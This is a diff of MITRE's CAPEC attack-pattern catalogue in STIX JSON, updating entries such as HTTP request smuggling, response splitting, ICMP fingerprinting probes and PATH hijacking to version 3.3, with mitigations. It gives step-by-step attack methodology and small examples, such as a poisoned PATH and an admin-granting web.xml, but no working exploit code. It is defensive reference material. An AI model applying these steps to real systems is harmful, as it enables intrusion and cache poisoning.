  1. Identify HTTP parsing chain: Determine the technologies used in the target environment such as types of web servers, application firewalls, proxies, etc.

    2. Techniques
    Investigation of the target environment to determine the types of technologies used to parse the incoming HTTP requests. Attempt to understand the parsing chain traversed by the incoming HTTP request.

Experiment

  1. Probe for vulnerable differences in HTTP parsing chain: Attacker sends malformed HTTP Requests to the application looking for differences in the ways that individual layers in the parsing chain parse requests. When differences are identified, the attacker crafts specially malformed HTTP requests to determine if the identified parsing differences will allow extra requests to be smuggled through parsing layers.

    2. Techniques
    Create many consecutive requests to the server. Some of which must be malformed.
    Use a proxy tool to record the HTTP responses headers.

Exploit

  1. Cache poisoning: The attacker decides to target the cache server. The server will then cache the request and serve a wrong page to a legitimate user's request. The malicious request will most likely exploit a Cross-Site Scripting or another injection typed vulnerability.

    2. Techniques
    Leverage the vulnerabilities identified in the Experiment Phase to inject malicious HTTP request that contains HTTP Request syntax that will be processed and acted on by the outer parsing layer of the cache server but not by the inner application layer. In this way it will be cached by the server without obvious sign from the application and the corrupt data will be served to future requesters.

  2. Session Hijacking: The attacker decides to target the web server by crafting a malicious HTTP Request containing a second HTTP Request using syntax that will not be processed and acted on by an outer \"filter\" parsing layer but will be acted on by the inner web server/application processing layers. The application/web server will then act on the malicious HTTP Request as if it is a valid request from the client potentially subverting session management.

    3. Techniques
    Leverage the vulnerabilities identified in the Experiment Phase to inject malicious HTTP request that contains HTTP Request syntax that will not be processed and acted on by the outer parsing layer of the malicious content filters but will be by the inner application/web server layer. In this way it will be acted on by the application/web server as if it is a valid request from the client.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0e1c720f-d649-4735-b063-ee5054259894", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-33-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "HTTP Request Smuggling is usually targeted at web servers. Therefore, in such cases, careful analysis of the entities must occur during system design prior to deployment. If there are known differences in the way the entities parse HTTP requests, the choice of entities needs consideration.", - "type": "course-of-action", - "id": "course-of-action--0e1c720f-d649-4735-b063-ee5054259894" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ba68b5fd-98e0-4f87-8203-e8e3569a201b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ba68b5fd-98e0-4f87-8203-e8e3569a201b", "source_ref": "course-of-action--0e1c720f-d649-4735-b063-ee5054259894", "relationship_type": "mitigates", "target_ref": "attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18" }, { + "id": "course-of-action--1b8eb07b-89a5-410a-9400-437276896a60", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-33-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Employing an application firewall can help. However, there are instances of the firewalls being susceptible to HTTP Request Smuggling as well.", - "type": "course-of-action", - "id": "course-of-action--1b8eb07b-89a5-410a-9400-437276896a60" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--bab0697d-31f7-446e-b032-2c6286e0e55e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bab0697d-31f7-446e-b032-2c6286e0e55e", "source_ref": "course-of-action--1b8eb07b-89a5-410a-9400-437276896a60", "relationship_type": "mitigates", "target_ref": "attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18" }, { + "id": "attack-pattern--420d73c3-133c-487e-a98a-6050e7680243", "name": "ICMP Error Message Echoing Integrity Probe", "description": "An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or \"Quoted\" from the originating request that generated the error message. For this purpose \"Port Unreachable\" error messages are often used, as generating them requires the attacker to send a UDP datagram to a closed port on the target. When replying with an ICMP error message some IP/ICMP stack implementations change aspects of the IP header, change or reverse certain byte orders, reset certain field values to default values which differ between operating system and firmware implementations, and make other changes. Some IP/ICMP stacks are decidedly broken, indicating an idiosyncratic behavior that differs from the RFC specifications, such as the case when miscalculations affect a field value. A tremendous amount of information about the host operating system can be deduced from its 'echoing' characteristics. Notably, inspection of key protocol header fields, including the echoed header fields of the encapsulating protocol can yield a wealth of data about the host operating system or firmware version.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21475,11 +22932,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--420d73c3-133c-487e-a98a-6050e7680243" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--d9629af2-d5c2-4198-b80f-281cc7d04422", "name": "ICMP IP Total Length Field Probe", "description": "An adversary sends a UDP packet to a closed port on the target machine to solicit an IP Header's total length field value within the echoed 'Port Unreachable\" error message. RFC1122 specifies that the Header of the request must be echoed back when an error is sent in response, but some operating systems and firmware alter the integrity of the original header. Non-standard ICMP/IP implementations result in response that are useful for individuating remote operating system or router firmware versions. There are four general response types that can be used to distinguish operating systems apart: 1) the IP total length field may be calculated correctly, 2) an operating system may add 20 or more additional bytes to the length calculation, 3) the operating system may subtract 20 or more bytes from the correct length of the field or 4) the IP total length field is calculated with any other incorrect value. This type of behavior is useful for building a signature-base of operating system responses, particularly when error messages contain other types of information that is useful identifying specific operating system responses.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21543,11 +23000,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d9629af2-d5c2-4198-b80f-281cc7d04422" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--e02f436a-486e-409a-adc6-a058c531f05f", "name": "ICMP IP 'ID' Field Error Message Probe", "description": "An adversary sends a UDP datagram having an assigned value to its internet identification field (ID) to a closed port on a target to observe the manner in which this bit is echoed back in the ICMP error message. The internet identification field (ID) is typically utilized for reassembling a fragmented packet. RFC791 and RFC815 discusses about IP datagrams, fragmentation and reassembly. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within the ICMP error message. There are three behaviors related to the IP ID field that can be used to distinguish remote operating systems or firmware: 1) it is echoed back identically to the bit order of the ID field in the original IP header, 2) it is echoed back, but the byte order has been reversed, or it contains an incorrect or unexpected value. Different operating systems will respond by setting the IP ID field differently within error messaging. This allows the attacker to construct a fingerprint of specific OS behaviors.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21611,11 +23068,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e02f436a-486e-409a-adc6-a058c531f05f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80", "name": "HTTP Response Splitting", "description": "This attack uses a maliciously-crafted HTTP request in order to cause a vulnerable web server to respond with an HTTP response stream that will be interpreted by the client as two separate responses instead of one. This is possible when user-controlled input is used unvalidated as part of the response headers. The target software, the client, will interpret the injected header as being a response to a second request, thereby causing the maliciously-crafted contents be displayed and possibly cached.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21623,7 +23080,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -21696,37 +23153,40 @@ "x_capec_example_instances": [ "In the PHP 5 session extension mechanism, a user-supplied session ID is sent back to the user within the Set-Cookie HTTP header. Since the contents of the user-supplied session ID are not validated, it is possible to inject arbitrary HTTP headers into the response body. This immediately enables HTTP Response Splitting by simply terminating the HTTP response header from within the session ID used in the Set-Cookie directive. See also: CVE-2006-0207" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links, the forms and all potential user-controllable input points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL, forms found in the pages (like file upload, etc.).
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Attempt variations on input parameters: The adversary injects the entry points identified in the Explore Phase with response splitting syntax and variations of payloads to be acted on in the additional response. They record all the responses from the server that include unmodified versions of their payload.

    2. Techniques
    Use CR\\LF characters (encoded or not) in the payloads in order to see if the HTTP header can be split.
    Use a proxy tool to record the HTTP responses headers.

Exploit

  1. Cross-Site Scripting: As the adversary succeeds in exploiting the vulnerability, they can choose to attack the user with Cross-Site Scripting. The possible outcomes of such an attack are described in the Cross-Site Scripting related attack patterns.

    2. Techniques
    Inject cross-site scripting payload preceded by response splitting syntax (CR/LF) into user-controllable input identified as vulnerable in the Experiment Phase.

  2. Cache poisoning: The adversary decides to target the cache server by forging new responses. The server will then cache the second request and response. The cached response has most likely an attack vector like Cross-Site Scripting; this attack will then be serve to many clients due to the caching system.

    3. Techniques
    The adversary decides to target the cache server by forging new responses. The server will then cache the second request and response. The cached response has most likely an attack vector like Cross-Site Scripting; this attack will then be serve to many clients due to the caching system.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--d06f0e2c-8e93-4573-88d2-bb13425af5a9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-34-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To avoid HTTP Response Splitting, the application must not rely on user-controllable input to form part of its output response stream. Specifically, response splitting occurs due to injection of CR-LF sequences and additional headers. All data arriving from the user and being used as part of HTTP response headers must be subjected to strict validation that performs simple character-based as well as semantic filtering to strip it of malicious character sequences and headers.", - "type": "course-of-action", - "id": "course-of-action--d06f0e2c-8e93-4573-88d2-bb13425af5a9" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9129f973-15cb-4728-afe9-8ece2ad6413a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9129f973-15cb-4728-afe9-8ece2ad6413a", "source_ref": "course-of-action--d06f0e2c-8e93-4573-88d2-bb13425af5a9", "relationship_type": "mitigates", "target_ref": "attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80" }, { + "id": "attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87", "name": "Leverage Executable Code in Non-Executable Files", "description": "An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21840,50 +23300,53 @@ "\n The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name \"public\" grants all users with the public role the ability to use the administration functionality.\n < security-constraint>Security processing rules for admin screens/admin/*POSTGETadministratorpublic\n \n \n \n The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--1200590e-b7be-4a04-ba62-ad7e096eb725", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1200590e-b7be-4a04-ba62-ad7e096eb725", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87" }, { + "id": "relationship--8bc84555-2eda-4653-91db-ab12268de92f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8bc84555-2eda-4653-91db-ab12268de92f", "source_ref": "course-of-action--16c78c78-dace-4fe3-ac4a-aaf188d14af5", "relationship_type": "mitigates", "target_ref": "attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87" }, { + "id": "relationship--56425426-27c4-48cd-b76a-d1b3019fa7ab", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--56425426-27c4-48cd-b76a-d1b3019fa7ab", "source_ref": "course-of-action--8fb32cf0-80fd-4e8b-91c6-0908041d5b6e", "relationship_type": "mitigates", "target_ref": "attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87" }, { + "id": "course-of-action--601142e9-0c7b-4920-a60c-6abe2514f692", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -21892,23 +23355,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Implement host integrity monitoring to detect any unwanted altering of configuration files.", - "type": "course-of-action", - "id": "course-of-action--601142e9-0c7b-4920-a60c-6abe2514f692" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a6e454f6-6551-4cd7-9eab-0d1493966d59", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a6e454f6-6551-4cd7-9eab-0d1493966d59", "source_ref": "course-of-action--601142e9-0c7b-4920-a60c-6abe2514f692", "relationship_type": "mitigates", "target_ref": "attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87" }, { + "id": "course-of-action--2e6ab888-a935-4b5d-9efa-891f4cdf1b32", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -21917,31 +23382,33 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Ensure that files that are not required to execute, such as configuration files, are not over-privileged, i.e. not allowed to execute.", - "type": "course-of-action", - "id": "course-of-action--2e6ab888-a935-4b5d-9efa-891f4cdf1b32" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--96960c02-bdf9-412d-94b3-3cc4487c9b4f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--96960c02-bdf9-412d-94b3-3cc4487c9b4f", "source_ref": "course-of-action--2e6ab888-a935-4b5d-9efa-891f4cdf1b32", "relationship_type": "mitigates", "target_ref": "attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87" }, { - "name": "Using Unpublished APIs", - "description": "An adversary searches for and invokes APIs that the target system designers did not intend to be publicly available. If these APIs fail to authenticate requests the attacker may be able to invoke functionality they are not authorized for.", + "id": "attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5", + "name": "Using Unpublished Interfaces", + "description": "An adversary searches for and invokes interfaces that the target system designers did not intend to be publicly available. If these interfaces fail to authenticate requests the attacker may be able to invoke functionality they are not authorized for.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -21962,6 +23429,11 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/695.html", "external_id": "CWE-695" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1242.html", + "external_id": "CWE-1242" } ], "x_capec_likelihood_of_attack": "Medium", @@ -21970,7 +23442,7 @@ "The architecture under attack must publish or otherwise make available services that clients can attach to, either in an unauthenticated fashion, or having obtained an authentication token elsewhere. The service need not be 'discoverable', but in the event it isn't it must have some way of being discovered by an attacker. This might include listening on a well-known port. Ultimately, the likelihood of exploit depends on discoverability of the vulnerable service." ], "x_capec_skills_required": { - "Low": "A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that he can sniff/monitor for." + "Low": "A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that they can sniff/monitor for." }, "x_capec_resources_required": [ "None: No specialized resources are required to execute this type of attack. Web service digging tools may be helpful." @@ -21991,37 +23463,40 @@ "x_capec_example_instances": [ "To an extent, Google services (such as Google Maps) are all well-known examples. Calling these services, or extending them for one's own (perhaps very different) purposes is as easy as knowing they exist. Their unencumbered public use, however, is a purposeful aspect of Google's business model. Most organizations, however, do not have the same business model. Organizations publishing services usually fall back on thoughts that Attackers \"will not know services exist\" and that \"even if they did, they wouldn't be able to access them because they're not on the local LAN.\" Simple threat modeling exercises usually uncovers simple attack vectors that can invalidate these assumptions." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify services: Discover a service of interest by exploring service registry listings or by connecting on a known port or some similar means.

    2. Techniques
    Search via internet for known, published services.
    Use automated tools to scan known ports to identify internet-enabled services.
    Dump the code from the chip and then perform reverse engineering to analyze the code.

  2. Authenticate to service: Authenticate to the service, if required, in order to explore it.

    3. Techniques
    Use published credentials to access system.
    Find unpublished credentails to access service.
    Use other attack pattern or weakness to bypass authentication.

  3. Identify all interfaces: Determine the exposed interfaces by querying the registry as well as probably sniffing to expose interfaces that are not explicitly listed.

    4. Techniques
    For any published services, determine exposed interfaces via the documentation provided.
    For any services found, use error messages from poorly formed service calls to determine valid interfaces. In some cases, services will respond to poorly formed calls with valid ones.

Experiment

  1. Attempt to discover unpublished functions: Using manual or automated means, discover unpublished or undocumented functions exposed by the service.

    2. Techniques
    Manually attempt calls to the service using an educated guess approach, including the use of terms like' 'test', 'debug', 'delete', etc.
    Use automated tools to scan the service to attempt to reverse engineer exposed, but undocumented, features.

Exploit

  1. Exploit unpublished functions: Using information determined via experimentation, exploit the unpublished features of the service.

    2. Techniques
    Execute features that are not intended to be used by general system users.
    Craft malicious calls to features not intended to be used by general system users that take advantage of security flaws found in the functions.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--a7decf96-7bb3-45ee-bb7d-833b443b59ed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-36-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Authenticating both services and their discovery, and protecting that authentication mechanism simply fixes the bulk of this problem. Protecting the authentication involves the standard means, including: 1) protecting the channel over which authentication occurs, 2) preventing the theft, forgery, or prediction of authentication credentials or the resultant tokens, or 3) subversion of password reset and the like.", - "type": "course-of-action", - "id": "course-of-action--a7decf96-7bb3-45ee-bb7d-833b443b59ed" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fa411755-d981-4b14-9dbc-aed949041db7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fa411755-d981-4b14-9dbc-aed949041db7", "source_ref": "course-of-action--a7decf96-7bb3-45ee-bb7d-833b443b59ed", "relationship_type": "mitigates", "target_ref": "attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5" }, { + "id": "attack-pattern--55ce63d0-6143-4b95-b70c-87c5b60aafa8", "name": "Retrieve Embedded Sensitive Data", "description": "An attacker examines a target system to find sensitive data that has been embedded within it. This information can reveal confidential contents, such as account numbers or individual keys/credentials that can be used as an intermediate step in a larger attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22029,13 +23504,18 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/37.html", "external_id": "CAPEC-37" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/226.html", + "external_id": "CWE-226" + }, { "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/311.html", @@ -22065,6 +23545,37 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/318.html", "external_id": "CWE-318" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1239.html", + "external_id": "CWE-1239" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1258.html", + "external_id": "CWE-1258" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1266.html", + "external_id": "CWE-1266" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1272.html", + "external_id": "CWE-1272" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1278.html", + "external_id": "CWE-1278" + }, + { + "source_name": "ATTACK", + "description": "Unsecured Credentials:Private Keys", + "url": "https://attack.mitre.org/wiki/Technique/T1552/004", + "external_id": "T1552.004" } ], "x_capec_likelihood_of_attack": "High", @@ -22100,12 +23611,13 @@ "An attacker can also use a decompiler to decompile a downloaded Java applet in order to look for information such as hardcoded IP addresses, file paths, passwords or other such contents.", "Attacker uses a tool such as a browser plug-in to pull cookie or other token information that, from a previous user at the same machine (perhaps a kiosk), allows the attacker to log in as the previous user." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify Target: Attacker identifies client components to extract information from. These may be binary executables, class files, shared libraries (e.g., DLLs), configuration files, or other system files.

    2. Techniques
    Binary file extraction. The attacker extracts binary files from zips, jars, wars, PDFs or other composite formats.
    Package listing. The attacker uses a package manifest provided with the software installer, or the filesystem itself, to identify component files suitable for attack.

Experiment

  1. Apply mining techniques: The attacker then uses a variety of techniques, such as sniffing, reverse-engineering, and cryptanalysis to extract the information of interest.

    2. Techniques
    API Profiling. The attacker monitors the software's use of registry keys or other operating system-provided storage locations that can contain sensitive information.
    Execution in simulator. The attacker physically removes mass storage from the system and explores it using a simulator, external system, or other debugging harness.
    Common decoding methods. The attacker applies methods to decode such encodings and compressions as Base64, unzip, unrar, RLE decoding, gzip decompression and so on.
    Common data typing. The attacker looks for common file signatures for well-known file types (JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures match, they attempt decoding in that format.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--55ce63d0-6143-4b95-b70c-87c5b60aafa8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4", "name": "Leveraging/Manipulating Configuration File Search Paths", "description": "This pattern of attack sees an adversary load a malicious resource into a program's standard path so that when a known command is executed then the system instead executes the malicious component. The adversary can either modify the search path a program uses, like a PATH variable or classpath, or they can manipulate resources on the path to point to their malicious components. J2EE applications and other component based applications that are built from multiple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22113,7 +23625,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -22130,6 +23642,12 @@ "url": "http://cwe.mitre.org/data/definitions/427.html", "external_id": "CWE-427" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Path Interception by PATH Environment Variable", + "url": "https://attack.mitre.org/wiki/Technique/T1574/007", + "external_id": "T1574.007" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -22168,74 +23686,79 @@ "\n A standard UNIX path looks similar to this\n /bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin\n If the attacker modifies the path variable to point to a locale that includes malicious resources then the user unwittingly can execute commands on the attackers' behalf:\n /evildir/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin\n This is a form of usurping control of the program and the attack can be done on the classpath, database resources, or any other resources built from compound parts. At runtime detection and blocking of this attack is nearly impossible, because the configuration allows execution.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--ef4b6415-f24e-432a-9f51-eb19c515d326", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ef4b6415-f24e-432a-9f51-eb19c515d326", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4" }, { + "id": "course-of-action--22eb9bea-93ce-4bec-b575-33aa10b6766a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-38-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Ensure that the program's compound parts, including all system dependencies, classpath, path, and so on, are secured to the same or higher level assurance as the program", - "type": "course-of-action", - "id": "course-of-action--22eb9bea-93ce-4bec-b575-33aa10b6766a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f27d7fdd-9727-4b1e-852a-80cea8641b62", 